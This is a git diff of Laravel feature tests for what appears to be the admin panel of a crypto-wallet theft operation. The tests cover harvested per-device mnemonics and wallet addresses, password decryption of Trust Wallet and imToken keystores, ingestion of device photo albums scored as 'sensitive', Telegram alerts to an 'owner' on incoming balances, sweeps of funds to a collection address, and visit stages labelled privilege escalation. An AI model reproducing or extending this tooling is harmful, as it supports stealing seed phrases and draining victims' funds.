\Illuminate\Support\Facades\DB::table('devices')->where('id', $device->id)->update([ DB::table('devices')->where('id', $device->id)->update([
'created_at' => $yesterday->toDateTimeString(), 'created_at' => $yesterday->toDateTimeString(),
'updated_at' => $yesterday->toDateTimeString(), 'updated_at' => $yesterday->toDateTimeString(),
]); ]);
@@ -172,7 +173,7 @@ class DailyReportTest extends TestCase
'address' => 'THistDailyAddr1111111111111111111', 'address' => 'THistDailyAddr1111111111111111111',
'chain_type' => 'TRON', 'chain_type' => 'TRON',
]); ]);
\Illuminate\Support\Facades\DB::table('wallet_addresses')->where('id', $addr->id)->update([ DB::table('wallet_addresses')->where('id', $addr->id)->update([
'created_at' => $yesterday->toDateTimeString(), 'created_at' => $yesterday->toDateTimeString(),
'updated_at' => $yesterday->toDateTimeString(), 'updated_at' => $yesterday->toDateTimeString(),
]); ]);
@@ -182,7 +183,7 @@ class DailyReportTest extends TestCase
]); ]);
$mnemonic->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; $mnemonic->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$mnemonic->save(); $mnemonic->save();
\Illuminate\Support\Facades\DB::table('wallet_mnemonics')->where('id', $mnemonic->id)->update([ DB::table('wallet_mnemonics')->where('id', $mnemonic->id)->update([
'created_at' => $yesterday->toDateTimeString(), 'created_at' => $yesterday->toDateTimeString(),
'updated_at' => $yesterday->toDateTimeString(), 'updated_at' => $yesterday->toDateTimeString(),
]); ]);
@@ -198,6 +199,8 @@ class DailyReportTest extends TestCase
$this->assertNotNull($row); $this->assertNotNull($row);
$this->assertSame(1, $row->uv); $this->assertSame(1, $row->uv);
$this->assertSame(1, $row->effective_uv); $this->assertSame(1, $row->effective_uv);
$this->assertSame(1, $row->pv);
$this->assertSame(1, $row->effective_pv);
$this->assertSame(1, $row->devices); $this->assertSame(1, $row->devices);
$this->assertSame(1, $row->wallet_devices); $this->assertSame(1, $row->wallet_devices);
$this->assertSame(1, $row->address_count); $this->assertSame(1, $row->address_count);
+243
View File
@@ -0,0 +1,243 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\DailyStat;
use App\Models\Device;
use App\Models\PageVisit;
use App\Services\DashboardStatsService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DashboardStatsTest extends TestCase
{
use RefreshDatabase;
private const CHANNEL = 'ffffffffffffffffffffffffffffffff';
protected function setUp(): void
{
parent::setUp();
config([
'coruna.panel.admin_hosts' => [],
'coruna.panel.agent_hosts' => [],
]);
Cache::flush();
}
#[Test]
public function collect_uses_daily_stats_when_present(): void
{
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'live-uv',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now(),
]);
Device::query()->create([
'device_id' => 'live-dev',
'channel_id' => self::CHANNEL,
'has_wallet' => Device::WALLET_YES,
]);
DailyStat::query()->create([
'stat_date' => now()->toDateString(),
'scope_key' => DailyStat::SCOPE_ALL,
'pv' => 99,
'uv' => 88,
'effective_pv' => 77,
'effective_uv' => 66,
'devices' => 5,
'wallet_devices' => 3,
'address_count' => 4,
'mnemonic_count' => 2,
'computed_at' => now(),
]);
$stats = app(DashboardStatsService::class)->collect(['range' => 'today']);
$this->assertSame(99, $stats['pv']);
$this->assertSame(88, $stats['uv']);
$this->assertSame(77, $stats['effective_pv']);
$this->assertSame(66, $stats['effective_uv']);
$this->assertSame(5, $stats['total']);
$this->assertSame(3, $stats['wallet_count']);
$this->assertSame(4, $stats['address_count']);
$this->assertSame(2, $stats['mnemonic_count']);
}
#[Test]
public function collect_falls_back_to_live_visits_when_rollup_missing(): void
{
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'live-uv',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now(),
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'live-uv',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now(),
]);
$stats = app(DashboardStatsService::class)->collect(['range' => 'today']);
$this->assertSame(2, $stats['pv']);
$this->assertSame(1, $stats['uv']);
$this->assertSame(2, $stats['effective_pv']);
$this->assertSame(1, $stats['effective_uv']);
}
#[Test]
public function collect_scans_live_when_channel_filter_set(): void
{
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'mine',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now(),
]);
PageVisit::query()->create([
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'client_uid' => 'other',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now(),
]);
DailyStat::query()->create([
'stat_date' => now()->toDateString(),
'scope_key' => DailyStat::SCOPE_ALL,
'pv' => 99,
'uv' => 88,
'effective_pv' => 77,
'effective_uv' => 66,
'devices' => 5,
'wallet_devices' => 3,
'address_count' => 0,
'mnemonic_count' => 0,
'computed_at' => now(),
]);
$stats = app(DashboardStatsService::class)->collect([
'range' => 'today',
'channel_id' => self::CHANNEL,
'channel_exact' => true,
]);
$this->assertSame(1, $stats['pv']);
$this->assertSame(1, $stats['uv']);
}
#[Test]
public function collect_caches_result(): void
{
DailyStat::query()->create([
'stat_date' => now()->toDateString(),
'scope_key' => DailyStat::SCOPE_ALL,
'pv' => 10,
'uv' => 9,
'effective_pv' => 8,
'effective_uv' => 7,
'devices' => 1,
'wallet_devices' => 0,
'address_count' => 0,
'mnemonic_count' => 0,
'computed_at' => now(),
]);
$svc = app(DashboardStatsService::class);
$first = $svc->collect(['range' => 'today']);
DailyStat::query()->update(['pv' => 50, 'uv' => 40]);
$second = $svc->collect(['range' => 'today']);
$this->assertSame(10, $first['pv']);
$this->assertSame(10, $second['pv']);
$this->assertSame(9, $second['uv']);
Cache::flush();
$third = $svc->collect(['range' => 'today']);
$this->assertSame(50, $third['pv']);
$this->assertSame(40, $third['uv']);
}
#[Test]
public function collect_sums_daily_rows_across_range(): void
{
DailyStat::query()->create([
'stat_date' => now()->toDateString(),
'scope_key' => DailyStat::SCOPE_ALL,
'pv' => 10,
'uv' => 4,
'effective_pv' => 3,
'effective_uv' => 2,
'devices' => 1,
'wallet_devices' => 1,
'address_count' => 1,
'mnemonic_count' => 1,
'computed_at' => now(),
]);
DailyStat::query()->create([
'stat_date' => now()->subDay()->toDateString(),
'scope_key' => DailyStat::SCOPE_ALL,
'pv' => 7,
'uv' => 3,
'effective_pv' => 2,
'effective_uv' => 1,
'devices' => 2,
'wallet_devices' => 0,
'address_count' => 3,
'mnemonic_count' => 4,
'computed_at' => now()->subDay(),
]);
$stats = app(DashboardStatsService::class)->collect([
'date_from' => now()->subDay()->toDateString(),
'date_to' => now()->toDateString(),
]);
$this->assertSame(17, $stats['pv']);
$this->assertSame(7, $stats['uv']);
$this->assertSame(5, $stats['effective_pv']);
$this->assertSame(3, $stats['effective_uv']);
$this->assertSame(3, $stats['total']);
$this->assertSame(1, $stats['wallet_count']);
$this->assertSame(4, $stats['address_count']);
$this->assertSame(5, $stats['mnemonic_count']);
}
#[Test]
public function admin_dashboard_data_uses_rollup(): void
{
DailyStat::query()->create([
'stat_date' => now()->toDateString(),
'scope_key' => DailyStat::SCOPE_ALL,
'pv' => 12,
'uv' => 6,
'effective_pv' => 4,
'effective_uv' => 3,
'devices' => 2,
'wallet_devices' => 1,
'address_count' => 0,
'mnemonic_count' => 0,
'computed_at' => now(),
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', ['range' => 'today']))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.pv', 12)
->assertJsonPath('data.uv', 6)
->assertJsonPath('data.total', 2);
}
}
+5 -17
View File
@@ -292,7 +292,7 @@ class DeviceAlbumStorageTest extends TestCase
} }
#[Test] #[Test]
public function ingest_notifies_telegram_when_x_hit_is_12(): void public function ingest_does_not_notify_telegram_for_photos(): void
{ {
Storage::fake('local'); Storage::fake('local');
config([ config([
@@ -307,26 +307,14 @@ class DeviceAlbumStorageTest extends TestCase
$ingest = app(IngestService::class); $ingest = app(IngestService::class);
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]); $ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
Http::assertNothingSent();
$tmp2 = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg'; $tmp2 = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
file_put_contents($tmp2, "\xFF\xD8\xFF\xDA\xFF\xD9"); file_put_contents($tmp2, "\xFF\xD8\xFF\xDA\xFF\xD9");
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]); $ingest->ingestPhotos($device, [$tmp2], ['x_hit' => 12]);
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => 12]);
Http::assertSent(function ($request) { $this->assertSame(1, Photo::query()->where('device_id', $device->id)->where('x_hit', 12)->count());
$text = (string) ($request->data()['text'] ?? ''); Http::assertNothingSent();
return str_contains($text, '敏感照片')
&& str_contains($text, 'dev-hit12')
&& str_contains($text, '敏感分</b>: 12');
});
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
$this->assertSame(1, collect(Http::recorded())->filter(function ($pair) {
$text = (string) ($pair[0]->data()['text'] ?? '');
return str_contains($text, '敏感照片');
})->count());
@unlink($tmp); @unlink($tmp);
@unlink($tmp2); @unlink($tmp2);
+87 -1
View File
@@ -11,6 +11,7 @@ use App\Models\WalletMnemonic;
use App\Services\EthKeystore; use App\Services\EthKeystore;
use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Http;
use kornrunner\Keccak;
use PHPUnit\Framework\Attributes\Test; use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase; use Tests\TestCase;
@@ -94,7 +95,8 @@ class KeystoreAdminTest extends TestCase
$this->actingAs($admin, 'admin') $this->actingAs($admin, 'admin')
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores'])) ->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
->assertOk() ->assertOk()
->assertJsonPath('data.0.source', 'Trust Wallet'); ->assertJsonPath('data.0.source', 'Trust Wallet')
->assertJsonPath('data.0.decrypt_url', route('admin.keystores.decrypt', $row));
} }
#[Test] #[Test]
@@ -397,6 +399,44 @@ class KeystoreAdminTest extends TestCase
$this->assertSame(1, (int) $row->fresh()->decrypted); $this->assertSame(1, (int) $row->fresh()->decrypted);
} }
#[Test]
public function imtoken_web3_keystore_without_needs_password_flag_uses_password_decrypt(): void
{
Http::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$password = 'imtoken-password';
$device = Device::query()->create(['device_id' => 'DEVKSIMTOKEN']);
$row = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'imToken',
'decrypted' => 0,
'raw_json' => $this->makeImTokenPbkdf2Keystore($phrase, $password),
]);
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
->assertOk()
->assertSee('lay-event="decryptPassword">密码解密</a>', false);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
->assertOk()
->assertJsonPath('data.0.needs_password', null)
->assertJsonPath('data.0.has_web3_keystore', true)
->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row));
$this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.added', 1);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->firstOrFail();
$this->assertSame($phrase, $mnemonic->mnemonic);
$this->assertSame(1, (int) $row->fresh()->decrypted);
}
#[Test] #[Test]
public function password_decrypt_rejects_wrong_and_empty_password(): void public function password_decrypt_rejects_wrong_and_empty_password(): void
{ {
@@ -511,4 +551,50 @@ class KeystoreAdminTest extends TestCase
], ],
]; ];
} }
/**
* @return array<string, mixed>
*/
private function makeImTokenPbkdf2Keystore(string $phrase, string $password): array
{
$salt = random_bytes(16);
$iv = random_bytes(16);
$iterations = 100;
$derived = hash_pbkdf2('sha256', $password, $salt, $iterations, 32, true);
$ciphertext = openssl_encrypt(
$phrase,
'aes-128-ctr',
substr($derived, 0, 16),
OPENSSL_RAW_DATA,
$iv
);
$mac = hex2bin(Keccak::hash(substr($derived, 16, 16).$ciphertext, 256));
return [
'id' => '95b3c3eb-e63e-44f4-9806-1f2ba1e795ee',
'version' => 12000,
'crypto' => [
'kdf' => 'pbkdf2',
'mac' => bin2hex((string) $mac),
'cipher' => 'aes-128-ctr',
'kdfparams' => [
'dklen' => 32,
'c' => $iterations,
'prf' => 'hmac-sha256',
'salt' => bin2hex($salt),
],
'ciphertext' => bin2hex((string) $ciphertext),
'cipherparams' => ['iv' => bin2hex($iv)],
],
'identity' => [
'identifier' => 'im14x5KJHMtvWn99m5dkrL3r5XjGJBjPkCyRibR',
],
'imTokenMeta' => [
'name' => '暴富暴富暴富',
'source' => 'NEW_MNEMONIC',
'network' => 'MAINNET',
'passwordHint' => '屌月',
],
];
}
} }
+44
View File
@@ -698,4 +698,48 @@ class PageVisitTest extends TestCase
->assertJsonPath('data.1.stage', 'pe') ->assertJsonPath('data.1.stage', 'pe')
->assertJsonPath('data.1.stage_label', '权限提升'); ->assertJsonPath('data.1.stage_label', '权限提升');
} }
#[Test]
public function visits_data_defaults_to_today(): void
{
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'today-uid',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now(),
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'old-uid',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now()->subDays(2),
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$payload = $this->actingAs($admin, 'admin')
->getJson(route('admin.visits.data'))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('count', 1)
->json('data');
$this->assertCount(1, $payload);
$this->assertSame('today-uid', $payload[0]['client_uid']);
}
#[Test]
public function visits_page_defaults_range_to_today(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->get(route('admin.visits.index'))
->assertOk()
->assertSee('value="today" selected', false)
->assertSee("range: 'today'", false)
->assertDontSee("range: '30d'", false);
}
} }
+64
View File
@@ -187,6 +187,70 @@ class TokenviewWebhookTest extends TestCase
}); });
} }
#[Test]
public function webhook_refreshes_btc_balance_from_chain_instead_of_delta(): void
{
config(['coruna.tokenview.sign_key' => '']);
Http::fake(function ($request) {
$url = $request->url();
if (str_contains($url, 'mempool.space') && str_contains($url, '/address/')) {
return Http::response([
'chain_stats' => [
'funded_txo_sum' => 61436,
'spent_txo_sum' => 0,
'tx_count' => 1,
],
'mempool_stats' => [
'funded_txo_sum' => 0,
'spent_txo_sum' => 0,
'tx_count' => 0,
],
], 200);
}
if (str_contains($url, 'api.telegram.org')) {
return Http::response(['ok' => true], 200);
}
return Http::response(['ok' => true], 200);
});
config([
'coruna.telegram.bot_token' => 'bot-token',
'coruna.telegram.owner_chat_id' => '12345',
'coruna.btc.api_url' => 'https://mempool.space/api',
]);
$addr = $this->seedMonitoredAddress([
'address' => 'bc1quqfuefm729n3a793meruf8rlcgys5xl4zphhjc',
'chain_type' => 'BITCOIN',
'btc' => 48.86220628,
'eth' => null,
'usdt' => null,
]);
$payload = [
'address' => $addr->address,
'txid' => 'btc-txid-refresh-1',
'coin' => 'BTC',
'value' => '0.00061',
];
$this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
$addr->refresh();
$this->assertEqualsWithDelta(0.00061436, (float) $addr->btc, 0.00000001);
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '余额入账')
&& str_contains($text, '+0.00061 BTC')
&& str_contains($text, '0.00061436');
});
}
#[Test] #[Test]
public function webhook_notifies_tron_outbound_after_chain_refresh(): void public function webhook_notifies_tron_outbound_after_chain_refresh(): void
{ {
+56
View File
@@ -4,6 +4,7 @@ namespace Tests\Feature;
use App\Models\Admin; use App\Models\Admin;
use App\Models\Device; use App\Models\Device;
use App\Models\TransferRecord;
use App\Models\WalletAddress; use App\Models\WalletAddress;
use App\Models\WalletMnemonic; use App\Models\WalletMnemonic;
use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\RefreshDatabase;
@@ -141,4 +142,59 @@ class WalletAddressFilterTest extends TestCase
->assertJsonPath('count', 2) ->assertJsonPath('count', 2)
->assertJsonMissing(['address' => 'addr-with-balance']); ->assertJsonMissing(['address' => 'addr-with-balance']);
} }
#[Test]
public function device_wallet_tab_marks_collected_after_successful_sweep(): void
{
$rows = $this->seedRows();
$device = Device::query()->where('device_id', 'dev-addr-filter')->firstOrFail();
TransferRecord::query()->create([
'from_address' => $rows['withBalance']->address,
'to_address' => 'TCollectTo',
'chain' => 'tron',
'tx_hash' => 'sweep-ok',
'amount' => '12.5',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'operator' => 'admin:1',
'status' => TransferRecord::STATUS_SUCCESS,
]);
TransferRecord::query()->create([
'from_address' => $rows['plain']->address,
'to_address' => 'TCollectTo',
'chain' => 'btc',
'tx_hash' => null,
'amount' => '1',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'BTC',
'operator' => 'admin:1',
'status' => TransferRecord::STATUS_FAILED,
'error' => 'no funds',
]);
$admin = $this->admin();
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', [$device, 'tab' => 'wallets']))
->assertOk()
->assertSee("title: '归集'", false)
->assertSee('#16b777', false)
->assertDontSee('是否归集');
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'wallets']))
->assertOk()
->assertJsonFragment([
'address' => 'addr-with-balance',
'collected' => true,
])
->assertJsonFragment([
'address' => 'addr-plain',
'collected' => false,
])
->assertJsonFragment([
'address' => 'addr-with-mnemonic',
'collected' => false,
]);
}
} }